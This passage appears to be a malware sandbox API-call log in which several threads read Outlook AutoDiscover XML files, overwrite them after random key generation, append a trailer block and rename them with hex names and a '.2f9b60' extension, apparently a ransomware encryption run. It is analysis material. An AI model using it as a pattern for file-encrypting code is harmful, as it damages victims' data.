Seed=0x2854fad0) returned 0x7e6279fd [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x5387cc35 [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x5aef239c [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x6e044e03 [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x2deba84b [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x6a1999c3 [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x1e41035c [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0xade76a9 [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0xc0dd1a3 [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x5c566698 [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0xca33710 [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x28ac54f7 [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x2bb4a5fc [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x7a1b8cfe [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x35d5c527 [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x9fc35 [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x23ebd51b [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x43fba816 [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x256b22b [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x7f4c4409 [0229.967] ReadFile (in: hFile=0x1f44, lpBuffer=0x20477790, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x2854fad0, lpOverlapped=0x0 | out: lpBuffer=0x20477790*, lpNumberOfBytesRead=0x2854fad0*=0x32c, lpOverlapped=0x0) returned 1 [0229.967] SetFilePointerEx (in: hFile=0x1f44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.967] WriteFile (in: hFile=0x1f44, lpBuffer=0x20446ac0*, nNumberOfBytesToWrite=0x32c, lpNumberOfBytesWritten=0x2854fad4, lpOverlapped=0x0 | out: lpBuffer=0x20446ac0*, lpNumberOfBytesWritten=0x2854fad4*=0x32c, lpOverlapped=0x0) returned 1 [0233.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a40 [0233.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202602c0 [0233.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202602c0) returned 1 [0233.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20446ac0) returned 1 [0233.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20477790) returned 1 [0233.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e510) returned 1 [0233.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0233.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x431ad1e0 [0233.706] SetFilePointerEx (in: hFile=0x1f44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.706] WriteFile (in: hFile=0x1f44, lpBuffer=0x42c15b90*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2854fbf0, lpOverlapped=0x0 | out: lpBuffer=0x42c15b90*, lpNumberOfBytesWritten=0x2854fbf0*=0x112, lpOverlapped=0x0) returned 1 [0235.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0235.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263380 [0235.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263380) returned 1 [0235.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263380 [0235.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f00 [0235.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263740 [0235.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263740) returned 1 [0235.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0235.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd97b70 [0235.731] sprintf (in: _Dest=0x1cd97b70, _Format="%c%c" | out: _Dest="1b") returned 2 [0235.731] sprintf (in: _Dest=0x1cd97b72, _Format="%c%c" | out: _Dest="2e") returned 2 [0235.731] sprintf (in: _Dest=0x1cd97b74, _Format="%c%c" | out: _Dest="d2") returned 2 [0235.731] sprintf (in: _Dest=0x1cd97b76, _Format="%c%c" | out: _Dest="7d") returned 2 [0235.731] sprintf (in: _Dest=0x1cd97b78, _Format="%c%c" | out: _Dest="de") returned 2 [0235.731] sprintf (in: _Dest=0x1cd97b7a, _Format="%c%c" | out: _Dest="00") returned 2 [0235.731] sprintf (in: _Dest=0x1cd97b7c, _Format="%c%c" | out: _Dest="92") returned 2 [0235.731] sprintf (in: _Dest=0x1cd97b7e, _Format="%c%c" | out: _Dest="24") returned 2 [0235.731] sprintf (in: _Dest=0x1cd97b80, _Format="%c%c" | out: _Dest="b5") returned 2 [0235.731] sprintf (in: _Dest=0x1cd97b82, _Format="%c%c" | out: _Dest="9d") returned 2 [0235.731] sprintf (in: _Dest=0x1cd97b84, _Format="%c%c" | out: _Dest="d0") returned 2 [0235.731] sprintf (in: _Dest=0x1cd97b86, _Format="%c%c" | out: _Dest="6a") returned 2 [0235.731] sprintf (in: _Dest=0x1cd97b88, _Format="%c%c" | out: _Dest="b2") returned 2 [0235.731] sprintf (in: _Dest=0x1cd97b8a, _Format="%c%c" | out: _Dest="4f") returned 2 [0235.731] sprintf (in: _Dest=0x1cd97b8c, _Format="%c%c" | out: _Dest="9f") returned 2 [0235.731] sprintf (in: _Dest=0x1cd97b8e, _Format="%c%c" | out: _Dest="e5") returned 2 [0235.731] sprintf (in: _Dest=0x1cd97b90, _Format="%c%c" | out: _Dest="d8") returned 2 [0235.731] sprintf (in: _Dest=0x1cd97b92, _Format="%c%c" | out: _Dest="90") returned 2 [0235.731] sprintf (in: _Dest=0x1cd97b94, _Format="%c%c" | out: _Dest="07") returned 2 [0235.731] sprintf (in: _Dest=0x1cd97b96, _Format="%c%c" | out: _Dest="e2") returned 2 [0235.732] sprintf (in: _Dest=0x1cd97b98, _Format="%c%c" | out: _Dest="a0") returned 2 [0235.732] sprintf (in: _Dest=0x1cd97b9a, _Format="%c%c" | out: _Dest="90") returned 2 [0235.732] sprintf (in: _Dest=0x1cd97b9c, _Format="%c%c" | out: _Dest="c5") returned 2 [0235.732] sprintf (in: _Dest=0x1cd97b9e, _Format="%c%c" | out: _Dest="72") returned 2 [0235.732] sprintf (in: _Dest=0x1cd97ba0, _Format="%c%c" | out: _Dest="96") returned 2 [0235.732] sprintf (in: _Dest=0x1cd97ba2, _Format="%c%c" | out: _Dest="75") returned 2 [0235.732] sprintf (in: _Dest=0x1cd97ba4, _Format="%c%c" | out: _Dest="1f") returned 2 [0235.732] sprintf (in: _Dest=0x1cd97ba6, _Format="%c%c" | out: _Dest="92") returned 2 [0235.732] sprintf (in: _Dest=0x1cd97ba8, _Format="%c%c" | out: _Dest="a0") returned 2 [0235.732] sprintf (in: _Dest=0x1cd97baa, _Format="%c%c" | out: _Dest="83") returned 2 [0235.732] sprintf (in: _Dest=0x1cd97bac, _Format="%c%c" | out: _Dest="e3") returned 2 [0235.732] sprintf (in: _Dest=0x1cd97bae, _Format="%c%c" | out: _Dest="b4") returned 2 [0235.732] RtlInitAnsiString (in: DestinationString=0x2854fc68, SourceString="1b2ed27dde009224b59dd06ab24f9fe5d89007e2a090c57296751f92a083e3b4" | out: DestinationString="1b2ed27dde009224b59dd06ab24f9fe5d89007e2a090c57296751f92a083e3b4") [0235.732] RtlAnsiStringToUnicodeString (in: DestinationString=0x2854fc38, SourceString="1b2ed27dde009224b59dd06ab24f9fe5d89007e2a090c57296751f92a083e3b4", AllocateDestinationString=1 | out: DestinationString="1b2ed27dde009224b59dd06ab24f9fe5d89007e2a090c57296751f92a083e3b4") returned 0x0 [0235.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x431a27b0 [0235.733] wcscat (in: _Dest=0x4314bb60, _Source="1b2ed27dde009224" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\1b2ed27dde009224") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\1b2ed27dde009224" [0235.733] wcscat (in: _Dest=0x4314bb60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\1b2ed27dde009224.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\1b2ed27dde009224.2f9b60" [0235.733] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\1b2ed27dde009224.2f9b60", NtPathName=0x2854fc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\1b2ed27dde009224.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1ced0820 Thread: id = 3828 os_tid = 0xd70 [0227.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.br.xml")) returned 0x20 [0229.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML", dwFileAttributes=0x20) returned 1 [0229.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.br.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2588 [0229.271] GetFileSizeEx (in: hFile=0x2588, lpFileSize=0x2eebfae0 | out: lpFileSize=0x2eebfae0*=812) returned 1 [0229.271] SetFilePointerEx (in: hFile=0x2588, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.271] ReadFile (in: hFile=0x2588, lpBuffer=0x2eebfa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2eebfaa8, lpOverlapped=0x0 | out: lpBuffer=0x2eebfa60*, lpNumberOfBytesRead=0x2eebfaa8*=0x4, lpOverlapped=0x0) returned 1 [0230.448] SetFilePointerEx (in: hFile=0x2588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202628d0 [0230.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260530 [0230.448] NtQuerySystemTime (in: CurrentTime=0x2eebf9a0 | out: CurrentTime=0x2eebf9a0*=132462178344442000) returned 0x0 [0230.448] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x2a6209 [0230.448] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x42ed8608 [0230.448] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x7559bdc5 [0230.448] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x473f21c3 [0230.448] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x6e6f2d31 [0230.448] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x631361ff [0230.448] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x3a65972 [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x109a9663 [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x27b6f0c4 [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x376fd98 [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x4431fa12 [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x549a5b64 [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x5883825d [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x653bc198 [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x6d76c1d8 [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x5af57d2a [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x1b947341 [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x5a5a0a55 [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x3e4db5bf [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x59f51874 [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x2cc4478f [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x7b3d0fd [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x19c3a844 [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x1ce4459b [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x59e4af86 [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x6d76c1d8 [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x77f76968 [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x3fb0a7d9 [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x78eb305 [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x1ba0fa4d [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x27ea427e [0230.449] RtlRandomEx (in: Seed=0x2eebf990 | out: Seed=0x2eebf990) returned 0x9e67b1a [0230.457] ReadFile (in: hFile=0x2588, lpBuffer=0x20468750, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x2eebf990, lpOverlapped=0x0 | out: lpBuffer=0x20468750*, lpNumberOfBytesRead=0x2eebf990*=0x32c, lpOverlapped=0x0) returned 1 [0230.457] SetFilePointerEx (in: hFile=0x2588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.457] WriteFile (in: hFile=0x2588, lpBuffer=0x20460f30*, nNumberOfBytesToWrite=0x32c, lpNumberOfBytesWritten=0x2eebf994, lpOverlapped=0x0 | out: lpBuffer=0x20460f30*, lpNumberOfBytesWritten=0x2eebf994*=0x32c, lpOverlapped=0x0) returned 1 [0233.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261df0 [0233.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f50 [0233.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260f50) returned 1 [0233.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20460f30) returned 1 [0233.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20468750) returned 1 [0233.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e710) returned 1 [0233.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0233.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x431aca20 [0233.723] SetFilePointerEx (in: hFile=0x2588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.723] WriteFile (in: hFile=0x2588, lpBuffer=0x42c15950*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2eebfab0, lpOverlapped=0x0 | out: lpBuffer=0x42c15950*, lpNumberOfBytesWritten=0x2eebfab0*=0x112, lpOverlapped=0x0) returned 1 [0235.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0235.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262e40 [0235.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262e40) returned 1 [0235.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262e40 [0235.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262870 [0235.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635c0 [0235.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202635c0) returned 1 [0235.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0235.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd97b70 [0235.757] sprintf (in: _Dest=0x1cd97b70, _Format="%c%c" | out: _Dest="50") returned 2 [0235.757] sprintf (in: _Dest=0x1cd97b72, _Format="%c%c" | out: _Dest="0f") returned 2 [0235.757] sprintf (in: _Dest=0x1cd97b74, _Format="%c%c" | out: _Dest="e4") returned 2 [0235.757] sprintf (in: _Dest=0x1cd97b76, _Format="%c%c" | out: _Dest="73") returned 2 [0235.757] sprintf (in: _Dest=0x1cd97b78, _Format="%c%c" | out: _Dest="98") returned 2 [0235.757] sprintf (in: _Dest=0x1cd97b7a, _Format="%c%c" | out: _Dest="cf") returned 2 [0235.757] sprintf (in: _Dest=0x1cd97b7c, _Format="%c%c" | out: _Dest="55") returned 2 [0235.757] sprintf (in: _Dest=0x1cd97b7e, _Format="%c%c" | out: _Dest="8e") returned 2 [0235.757] sprintf (in: _Dest=0x1cd97b80, _Format="%c%c" | out: _Dest="e2") returned 2 [0235.757] sprintf (in: _Dest=0x1cd97b82, _Format="%c%c" | out: _Dest="2e") returned 2 [0235.757] sprintf (in: _Dest=0x1cd97b84, _Format="%c%c" | out: _Dest="56") returned 2 [0235.757] sprintf (in: _Dest=0x1cd97b86, _Format="%c%c" | out: _Dest="f7") returned 2 [0235.757] sprintf (in: _Dest=0x1cd97b88, _Format="%c%c" | out: _Dest="b1") returned 2 [0235.757] sprintf (in: _Dest=0x1cd97b8a, _Format="%c%c" | out: _Dest="a8") returned 2 [0235.757] sprintf (in: _Dest=0x1cd97b8c, _Format="%c%c" | out: _Dest="a3") returned 2 [0235.757] sprintf (in: _Dest=0x1cd97b8e, _Format="%c%c" | out: _Dest="c3") returned 2 [0235.757] sprintf (in: _Dest=0x1cd97b90, _Format="%c%c" | out: _Dest="f0") returned 2 [0235.757] sprintf (in: _Dest=0x1cd97b92, _Format="%c%c" | out: _Dest="4d") returned 2 [0235.757] sprintf (in: _Dest=0x1cd97b94, _Format="%c%c" | out: _Dest="e7") returned 2 [0235.757] sprintf (in: _Dest=0x1cd97b96, _Format="%c%c" | out: _Dest="f8") returned 2 [0235.758] sprintf (in: _Dest=0x1cd97b98, _Format="%c%c" | out: _Dest="d1") returned 2 [0235.758] sprintf (in: _Dest=0x1cd97b9a, _Format="%c%c" | out: _Dest="70") returned 2 [0235.758] sprintf (in: _Dest=0x1cd97b9c, _Format="%c%c" | out: _Dest="40") returned 2 [0235.758] sprintf (in: _Dest=0x1cd97b9e, _Format="%c%c" | out: _Dest="7d") returned 2 [0235.758] sprintf (in: _Dest=0x1cd97ba0, _Format="%c%c" | out: _Dest="96") returned 2 [0235.758] sprintf (in: _Dest=0x1cd97ba2, _Format="%c%c" | out: _Dest="67") returned 2 [0235.758] sprintf (in: _Dest=0x1cd97ba4, _Format="%c%c" | out: _Dest="c3") returned 2 [0235.758] sprintf (in: _Dest=0x1cd97ba6, _Format="%c%c" | out: _Dest="ee") returned 2 [0235.758] sprintf (in: _Dest=0x1cd97ba8, _Format="%c%c" | out: _Dest="b7") returned 2 [0235.758] sprintf (in: _Dest=0x1cd97baa, _Format="%c%c" | out: _Dest="3c") returned 2 [0235.758] sprintf (in: _Dest=0x1cd97bac, _Format="%c%c" | out: _Dest="f5") returned 2 [0235.758] sprintf (in: _Dest=0x1cd97bae, _Format="%c%c" | out: _Dest="0e") returned 2 [0235.758] RtlInitAnsiString (in: DestinationString=0x2eebfb28, SourceString="500fe47398cf558ee22e56f7b1a8a3c3f04de7f8d170407d9667c3eeb73cf50e" | out: DestinationString="500fe47398cf558ee22e56f7b1a8a3c3f04de7f8d170407d9667c3eeb73cf50e") [0235.758] RtlAnsiStringToUnicodeString (in: DestinationString=0x2eebfaf8, SourceString="500fe47398cf558ee22e56f7b1a8a3c3f04de7f8d170407d9667c3eeb73cf50e", AllocateDestinationString=1 | out: DestinationString="500fe47398cf558ee22e56f7b1a8a3c3f04de7f8d170407d9667c3eeb73cf50e") returned 0x0 [0235.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x431a4610 [0235.759] wcscat (in: _Dest=0x4314c5e0, _Source="500fe47398cf558e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\500fe47398cf558e") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\500fe47398cf558e" [0235.759] wcscat (in: _Dest=0x4314c5e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\500fe47398cf558e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\500fe47398cf558e.2f9b60" [0235.759] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\500fe47398cf558e.2f9b60", NtPathName=0x2eebfad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\500fe47398cf558e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x430d6800 Thread: id = 3829 os_tid = 0x1014 [0227.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.CN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.cn.xml")) returned 0x20 [0229.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.CN.XML", dwFileAttributes=0x20) returned 1 [0229.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.CN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.cn.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x4ac [0229.270] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2b98f820 | out: lpFileSize=0x2b98f820*=812) returned 1 [0229.270] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.270] ReadFile (in: hFile=0x4ac, lpBuffer=0x2b98f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b98f7e8, lpOverlapped=0x0 | out: lpBuffer=0x2b98f7a0*, lpNumberOfBytesRead=0x2b98f7e8*=0x4, lpOverlapped=0x0) returned 1 [0230.438] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635c0 [0230.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202628d0 [0230.439] NtQuerySystemTime (in: CurrentTime=0x2b98f6e0 | out: CurrentTime=0x2b98f6e0*=132462178344286000) returned 0x0 [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x2f7a53c0 [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x1d136be8 [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x25bc103c [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x69c68905 [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x384e2e2e [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x3f7a4b17 [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x13e11e39 [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x35a41760 [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0xf8fe52e [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x13e0f419 [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x44b53717 [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x68683427 [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x12d48a7c [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x1aca97da [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x2e1a0258 [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x352311f6 [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x73627a8a [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x4dcb57ee [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x2fb3b13f [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x1a2bdfbf [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x42f276c2 [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x47226f71 [0230.439] RtlRandomEx (in: Seed=0x2b98f6d0 | out: Seed=0x2b98f6d0) returned 0x4dc6151d 